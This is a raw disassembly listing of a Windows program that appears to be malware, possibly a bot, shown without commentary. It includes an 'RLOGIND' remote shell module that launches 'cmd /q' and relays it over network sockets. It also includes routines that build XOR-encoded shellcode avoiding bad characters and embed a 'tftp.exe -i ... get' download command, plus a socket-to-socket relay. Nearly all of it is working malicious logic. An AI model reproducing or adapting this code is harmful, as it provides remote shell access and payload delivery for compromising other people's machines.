var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		push	edi
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_58]
		rep stosd
		lea	edi, [ebp+var_14]
		stosd
		xor	esi, esi
		stosd
		stosd
		stosd
		mov	eax, [ebp+arg_0]
		mov	edi, dword_4220E0
		push	esi
		push	1
		mov	[ebp+var_20], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_58], 44h
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_422110	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_422044	; CreateProcessA
		test	eax, eax
		jz	short loc_411A13
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43B248[eax], ecx
		call	dword_42202C	; CloseHandle
		jmp	short loc_411A29
; ---------------------------------------------------------------------------


loc_411A13:				; CODE XREF: sub_411963+8Ej
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"...
		call	sub_401F41
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_411A29:				; CODE XREF: sub_411963+AEj
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411963	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411A2F	proc near		; DATA XREF: sub_411CDD+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_42208C
		push	esi
		push	edi
		mov	edi, [ebp+74h+arg_0]
		jmp	short loc_411A91
; ---------------------------------------------------------------------------


loc_411A48:				; CODE XREF: sub_411A2F+77j
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+74h+arg_0], eax
		jbe	short loc_411A7A


loc_411A53:				; CODE XREF: sub_411A2F+49j
		mov	cl, [ebp+esi+74h+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A6A
		cmp	dl, 0Dh
		jz	short loc_411A6A
		mov	[ebp+eax+74h+var_1B0], 0Dh
		inc	eax


loc_411A6A:				; CODE XREF: sub_411A2F+2Bj
					; sub_411A2F+30j
		mov	[ebp+eax+74h+var_1B0], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+74h+arg_0]
		mov	dl, cl
		jb	short loc_411A53


loc_411A7A:				; CODE XREF: sub_411A2F+22j
		push	0
		push	eax
		lea	eax, [ebp+74h+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43A438	; send
		test	eax, eax
		jle	short loc_411AA8


loc_411A91:				; CODE XREF: sub_411A2F+17j
		push	0
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	0C8h
		lea	eax, [ebp+74h+var_C8]
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_411A48


loc_411AA8:				; CODE XREF: sub_411A2F+60j
		mov	esi, dword_422004
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411AC4
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"...
		call	sub_401F41
		pop	ecx
		pop	ecx


loc_411AC4:				; CODE XREF: sub_411A2F+84j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_411A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411ACC	proc near		; DATA XREF: sub_411CDD+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+74h+arg_0]
		xor	esi, esi
		mov	[ebp+74h+var_10], ebx
		jmp	loc_411BBE
; ---------------------------------------------------------------------------


loc_411AE9:				; CODE XREF: sub_411ACC+107j
		cmp	[ebp+74h+var_10], ebx
		jbe	short loc_411AF6
		dec	[ebp+74h+var_10]
		jmp	loc_411BC1
; ---------------------------------------------------------------------------


loc_411AF6:				; CODE XREF: sub_411ACC+20j
		mov	al, byte ptr [ebp+74h+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+74h+var_C], ebx
		jz	short loc_411B60
		cmp	al, 7Fh
		jz	short loc_411B60
		cmp	al, 3
		jnz	short loc_411B21
		push	ebx
		push	ebx
		call	dword_422128	; GenerateConsoleCtrlEvent
		jmp	short loc_411B87
; ---------------------------------------------------------------------------


loc_411B21:				; CODE XREF: sub_411ACC+49j
		cmp	al, 15h
		jnz	short loc_411B43
		xor	esi, esi
		mov	[ebp+74h+var_8], 20h
		mov	[ebp+74h+var_7], 58h
		mov	[ebp+74h+var_6], 58h
		mov	[ebp+74h+var_5], 58h
		mov	[ebp+74h+var_4], 0Dh
		mov	[ebp+74h+var_3], 0Ah
		push	6
		jmp	short loc_411B73
; ---------------------------------------------------------------------------


loc_411B43:				; CODE XREF: sub_411ACC+57j
		xor	ecx, ecx
		mov	[ebp+esi+74h+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+74h+var_8], al
		jnz	short loc_411B74
		mov	[ebp+esi+74h+var_DC], 0Ah
		mov	[ebp+74h+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B73
; ---------------------------------------------------------------------------


loc_411B60:				; CODE XREF: sub_411ACC+41j
					; sub_411ACC+45j
		cmp	esi, ebx
		jbe	short loc_411B8A
		dec	esi
		mov	[ebp+74h+var_8], 8
		mov	[ebp+74h+var_7], 20h
		mov	[ebp+74h+var_6], 8
		push	3


loc_411B73:				; CODE XREF: sub_411ACC+75j
					; sub_411ACC+92j
		pop	ecx


loc_411B74:				; CODE XREF: sub_411ACC+84j
		push	ebx
		push	ecx
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43A438	; send
		test	eax, eax
		jle	short loc_411BD9


loc_411B87:				; CODE XREF: sub_411ACC+53j
		mov	al, byte ptr [ebp+74h+arg_0+3]


loc_411B8A:				; CODE XREF: sub_411ACC+96j
		cmp	al, 0Dh
		jnz	short loc_411BC1
		push	ebx
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_DC]
		push	eax
		push	dword ptr [edi+4]
		call	dword_422030	; WriteFile
		test	eax, eax
		jz	short loc_411BD9
		xor	esi, esi
		jmp	short loc_411BC1
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411ACC+36j
		cmp	[ebp+74h+var_C], ebx
		jnz	short loc_411BB7
		mov	[ebp+74h+var_C], 1
		jmp	short loc_411BC1
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411ACC+E0j
		mov	[ebp+74h+var_10], 0Ah


loc_411BBE:				; CODE XREF: sub_411ACC+18j
		mov	[ebp+74h+var_C], ebx


loc_411BC1:				; CODE XREF: sub_411ACC+25j
					; sub_411ACC+C0j ...
		push	ebx
		push	1
		lea	eax, [ebp+74h+arg_0+3]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43A304	; recv
		test	eax, eax
		jg	loc_411AE9


loc_411BD9:				; CODE XREF: sub_411ACC+B9j
					; sub_411ACC+D7j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn
sub_411ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BE1	proc near		; CODE XREF: sub_411CDD+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_416DAF
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		jnz	short loc_411C06
		xor	eax, eax
		jmp	loc_411CD9
; ---------------------------------------------------------------------------


loc_411C06:				; CODE XREF: sub_411BE1+1Cj
		push	ebx
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		lea	ebx, [esi+4]
		mov	[ebx], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	dword_422114	; CreatePipe
		test	eax, eax
		mov	edi, dword_42202C
		jnz	short loc_411C47
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"...
		jmp	short loc_411C68
; ---------------------------------------------------------------------------


loc_411C47:				; CODE XREF: sub_411BE1+56j
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_422114	; CreatePipe
		test	eax, eax
		jnz	short loc_411C70
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"...


loc_411C68:				; CODE XREF: sub_411BE1+64j
		call	sub_401F41
		pop	ecx
		jmp	short loc_411C9D
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: sub_411BE1+79j
		push	[ebp+arg_0]
		mov	ebx, [ebp+var_8]
		push	[ebp+var_4]
		call	sub_411963
		pop	ecx
		pop	ecx
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411CD2
		push	offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell."
		call	sub_401ECD


loc_411C9D:				; CODE XREF: sub_411BE1+8Dj
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_411CA9
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_411CA9:				; CODE XREF: sub_411BE1+C1j
		cmp	[ebp+var_8], 0
		jz	short loc_411CB4
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_411CB4:				; CODE XREF: sub_411BE1+CCj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411CBD
		push	eax
		call	edi	; CloseHandle


loc_411CBD:				; CODE XREF: sub_411BE1+D7j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_411CC7
		push	eax
		call	edi	; CloseHandle


loc_411CC7:				; CODE XREF: sub_411BE1+E1j
		push	esi
		call	sub_416C97
		pop	ecx
		xor	eax, eax
		jmp	short loc_411CD8
; ---------------------------------------------------------------------------


loc_411CD2:				; CODE XREF: sub_411BE1+B0j
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_411CD8:				; CODE XREF: sub_411BE1+EFj
		pop	ebx


loc_411CD9:				; CODE XREF: sub_411BE1+20j
		pop	edi
		pop	esi
		leave
		retn
sub_411BE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411CDD	proc near		; CODE XREF: sub_4108F4+1BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411BE1
		imul	edi, 234h
		mov	esi, eax
		mov	eax, dword_43B24C[edi]
		mov	edi, dword_422008
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411A2F
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411D4C
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401F41
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_411E2C
; ---------------------------------------------------------------------------


loc_411D4C:				; CODE XREF: sub_411CDD+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411ACC
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411D8D
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell	s"...
		call	sub_401F41
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4220F0	; TerminateThread
		xor	eax, eax
		jmp	loc_411E2D
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411CDD+86j
		mov	eax, [esi+10h]
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		push	3
		call	dword_42212C	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_411DE7
		dec	eax
		jz	short loc_411DE1
		dec	eax
		jz	short loc_411DCD
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"...
		call	sub_401F41
		pop	ecx
		pop	ecx
		jmp	short loc_411DFC
; ---------------------------------------------------------------------------


loc_411DCD:				; CODE XREF: sub_411CDD+D9j
		mov	edi, dword_4220F0
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_411DFC
; ---------------------------------------------------------------------------


loc_411DE1:				; CODE XREF: sub_411CDD+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_411DEB
; ---------------------------------------------------------------------------


loc_411DE7:				; CODE XREF: sub_411CDD+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_411DEB:				; CODE XREF: sub_411CDD+108j
		call	dword_4220F0	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4220E8	; TerminateProcess


loc_411DFC:				; CODE XREF: sub_411CDD+EEj
					; sub_411CDD+102j
		push	dword ptr [esi+10h]
		mov	edi, dword_42202C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_43A4B0	; closesocket
		push	esi
		call	sub_416C97
		xor	eax, eax
		inc	eax


loc_411E2C:				; CODE XREF: sub_411CDD+6Aj
		pop	ecx


loc_411E2D:				; CODE XREF: sub_411CDD+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411CDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E32	proc near		; CODE XREF: sub_411E5E+Ap
					; sub_412061+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		lea	edx, [eax+1]


loc_411E39:				; CODE XREF: sub_411E32+Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411E39
		sub	eax, edx
		push	esi
		mov	esi, eax
		mov	eax, [esp+4+arg_4]
		lea	ecx, [eax+1]


loc_411E4C:				; CODE XREF: sub_411E32+1Fj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411E4C
		sub	eax, ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	esi
		retn
sub_411E32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E5E	proc near		; CODE XREF: sub_412078+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_411E32
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_411E7B
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_411E7B:				; CODE XREF: sub_411E5E+17j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]


loc_411E81:				; CODE XREF: sub_411E5E+28j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411E81
		sub	eax, edx
		push	ebx
		mov	edx, eax
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		mov	[ebp+arg_4], edx
		lea	esi, [eax+1]


loc_411E98:				; CODE XREF: sub_411E5E+3Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411E98
		sub	eax, esi
		mov	ebx, [ebp+arg_0]
		lea	ecx, [eax+edx+12h]
		mov	dword_4302C4, ecx
		push	0FFFFFFEDh
		lea	ecx, [eax+1]
		mov	dword_4302E5, ecx
		lea	ecx, [eax+17h]
		mov	dword_4302DD, ecx
		pop	ecx
		sub	ecx, eax
		mov	dword_4302F3, ecx
		push	1Dh
		pop	ecx
		mov	edi, ebx
		mov	esi, offset dword_430260
		rep movsd
		mov	esi, [ebp+arg_8]
		mov	ecx, edx
		shr	ecx, 2
		lea	edi, [ebx+74h]
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+arg_4]
		and	ecx, 3
		rep movsb
		add	edx, 74h
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+0Ch)
		movsd
		movsb
		mov	esi, [ebp+arg_C]
		add	edx, 5
		lea	edi, [edx+ebx]
		mov	ecx, eax
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		mov	ebx, [ebp+arg_0]
		and	ecx, 3
		rep movsb
		add	edx, eax
		lea	edi, [edx+ebx]
		mov	esi, (offset aTftp_exeIGet+11h)
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_C]
		add	edx, 10h
		mov	ecx, eax
		lea	edi, [edx+ebx]
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		push	0Eh
		lea	edi, [edx+eax]
		add	edi, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	esi, offset byte_4302E9
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411E5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F56	proc near		; CODE XREF: sub_411F71+41p
					; sub_412061+Ep

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_411F5F
		inc	ecx


loc_411F5F:				; CODE XREF: sub_411F56+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_411F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411F71	proc near		; CODE XREF: sub_412078+56p
					; .text:0041490Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		cmp	bl, 0Ah
		push	esi
		jz	short loc_411F8C
		cmp	bl, 0Dh
		jz	short loc_411F8C
		cmp	bl, 5Ch
		jz	short loc_411F8C
		test	bl, bl
		jnz	short loc_411F8D


loc_411F8C:				; CODE XREF: sub_411F71+Bj
					; sub_411F71+10j ...
		inc	ebx


loc_411F8D:				; CODE XREF: sub_411F71+19j
		mov	esi, 0FFh
		cmp	ebx, esi
		jbe	short loc_411FB1
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_411FAB
		cmp	al, 0Dh
		jz	short loc_411FAB
		cmp	al, 5Ch
		jz	short loc_411FAB
		test	al, al
		jnz	short loc_411FB1


loc_411FAB:				; CODE XREF: sub_411F71+2Cj
					; sub_411F71+30j ...
		add	ebx, 100h


loc_411FB1:				; CODE XREF: sub_411F71+23j
					; sub_411F71+38j
		push	ebx
		call	sub_411F56
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+arg_C], eax
		ja	short loc_411FC7
		cmp	eax, 0FFFFh
		jbe	short loc_411FCE


loc_411FC7:				; CODE XREF: sub_411F71+4Dj
		xor	eax, eax
		jmp	loc_41205D
; ---------------------------------------------------------------------------


loc_411FCE:				; CODE XREF: sub_411F71+54j
		mov	dl, byte_480D20
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_411FFC


loc_411FDA:				; CODE XREF: sub_411F71+89j
		mov	ecx, [ebp+arg_8]
		mov	cl, [eax+ecx]
		xor	cl, dl
		jz	short loc_411FF3
		cmp	cl, 0Ah
		jz	short loc_411FF3
		cmp	cl, 0Dh
		jz	short loc_411FF3
		cmp	cl, 5Ch
		jnz	short loc_411FF7


loc_411FF3:				; CODE XREF: sub_411F71+71j
					; sub_411F71+76j ...
		inc	dl
		xor	eax, eax


loc_411FF7:				; CODE XREF: sub_411F71+80j
		inc	eax
		cmp	eax, ebx
		jb	short loc_411FDA


loc_411FFC:				; CODE XREF: sub_411F71+67j
		cmp	ebx, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	5
		mov	byte_480D20, dl
		pop	ecx
		ja	short loc_412024
		mov	esi, offset loc_430248
		mov	byte_430255, bl
		mov	byte_430259, dl
		rep movsd
		push	15h
		jmp	short loc_41203C
; ---------------------------------------------------------------------------


loc_412024:				; CODE XREF: sub_411F71+9Aj
		mov	word_43023E, bx
		mov	byte_430243, dl
		mov	esi, offset loc_430230
		rep movsd
		movsw
		push	17h


loc_41203C:				; CODE XREF: sub_411F71+B1j
		pop	eax
		xor	ecx, ecx
		test	ebx, ebx
		movsb
		pop	edi
		jbe	short loc_41205A
		mov	esi, [ebp+arg_0]
		add	esi, eax


loc_41204A:				; CODE XREF: sub_411F71+E7j
		mov	eax, [ebp+arg_8]
		mov	al, [ecx+eax]
		xor	al, dl
		mov	[esi+ecx], al
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_41204A


loc_41205A:				; CODE XREF: sub_411F71+D2j
		mov	eax, [ebp+arg_C]


loc_41205D:				; CODE XREF: sub_411F71+58j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_411F71	endp


; =============== S U B	R O U T	I N E =======================================



sub_412061	proc near		; CODE XREF: sub_412078+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_411E32
		push	eax
		call	sub_411F56
		add	esp, 0Ch
		retn
sub_412061	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412078	proc near		; CODE XREF: sub_413C0C+6Dp
					; sub_4142AE+30p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_412061
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_412098
		cmp	eax, 0FFFFh
		jbe	short loc_41209C


loc_412098:				; CODE XREF: sub_412078+17j
		xor	eax, eax
		jmp	short loc_4120E1
; ---------------------------------------------------------------------------


loc_41209C:				; CODE XREF: sub_412078+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_411E32
		add	eax, 101h
		push	eax
		call	sub_416DAF
		add	esp, 0Ch
		push	edi
		push	ebx
		push	edi
		push	ebx
		mov	esi, eax
		call	sub_411E32
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_411E5E
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411F71
		push	esi
		mov	edi, eax
		call	sub_416C97
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_4120E1:				; CODE XREF: sub_412078+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_412078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120E5	proc near		; CODE XREF: sub_4121E2+200p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	esi, 400h


loc_4120F8:				; CODE XREF: sub_4120E5+C0j
					; sub_4120E5+F2j
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+var_100], eax
		mov	[ebp+var_104], ecx
		xor	eax, eax


loc_41210C:				; CODE XREF: sub_4120E5+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_41211D
		inc	eax
		cmp	eax, ecx
		jb	short loc_41210C


loc_41211D:				; CODE XREF: sub_4120E5+31j
		cmp	eax, ecx
		jnz	short loc_412131
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_412131:				; CODE XREF: sub_4120E5+3Aj
		push	ebx
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+var_504]
		rep stosd
		push	ebx
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43A448	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3F4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_412193
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A304	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4121DD
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4121DD


loc_412193:				; CODE XREF: sub_4120E5+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3F4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4120F8
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A304	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4121DD
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120F8


loc_4121DD:				; CODE XREF: sub_4120E5+95j
					; sub_4120E5+ACj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4120E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4121E2	proc near		; DATA XREF: sub_412412+13Fo

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_4D4		= byte ptr -4D4h
var_4D3		= byte ptr -4D3h
var_4D2		= word ptr -4D2h
var_4D0		= dword	ptr -4D0h
var_4CC		= byte ptr -4CCh
var_CC		= byte ptr -0CCh
var_48		= byte ptr -48h
var_30		= dword	ptr -30h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5D8h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+74h+var_CC]
		rep movsd
		mov	edi, [ebp+74h+var_30]
		xor	eax, eax
		inc	eax
		mov	[edx+0ACh], eax
		mov	esi, edi
